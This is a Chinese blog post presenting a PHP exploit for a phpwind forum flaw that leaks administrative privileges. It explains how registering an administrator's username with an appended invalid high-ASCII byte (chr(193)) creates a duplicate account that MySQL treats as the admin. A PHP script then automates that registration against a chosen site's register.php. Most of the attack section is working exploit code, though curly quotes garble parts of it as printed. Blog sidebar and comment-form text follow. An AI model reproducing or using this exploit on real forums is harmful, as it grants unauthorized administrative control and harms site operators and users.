phpwind管理权限泄露漏洞利用程序PHP版

漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PhpWind最大失误不是程序,而是没有把username设为唯一。

可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。

使用PHP构造的测试代码。


<?php
if (empty($_GET['sub'])) {
    print <<<EOT method="get" action="" <form>    
<INPUT name=url>    
<INPUT name=regname>    
<INPUT type=submit value=提交 name=sub>

EOT;
} else {
    extract($_GET);
    $regname .= chr(193);
    $data = array(
        ‘regname’ => $regname,
        ‘regpwd’ => 147852,
        ‘regpwdrepeat’ => 147852,
        ‘regemail’ => ‘llll@Ll.com’,
        'regemailtoall’ => 1,
        ’step’ => 2
    );    

    $url .= ‘/register.php’;
    $includePath = ini_get(’include_path’);
    $includePath .=’;D:\www\pear’;
    ini_set(’include_path’, $includePath);
    include(’HTTP/Client.php’);
    $http = new HTTP_Client();
    var_dump($http->post($url, $data));
}

作者:yuehei
来源:yuehei 两点之间

没有评论

  • (Required)
  • (Required, will not be published)

注意: 评论者允许使用'@user空格'的方式将自己的评论通知另外评论者。例如, ABC是本文的评论者之一,则使用'@ABC '(不包括单引号)将会自动将您的评论发送给ABC。使用'@all ',将会将评论发送给之前所有其它评论者。请务必注意user必须和评论者名相匹配(大小写一致)。
  • 关于BLOG

    本站架设在VPSYOU上,由CentOS强力驱动

  • 分类目录

  • 那些句子

    “生活中不只有C++,代码和编程,还有更多的东西值得我们去体味,朋友,亲人,爱人都更值得花时间与他们在一起。走出办公室,离开计算机,去亲近大自然,享受美餐,散散步,打打球。拥有美好的生活才能创造出完美的程序。”—Boost程序库完全开发指南
  • 近期文章

  • 标签云

  • 我的饭否

    饭否
  • 赞助商链接

  • 已屏蔽的傻逼评论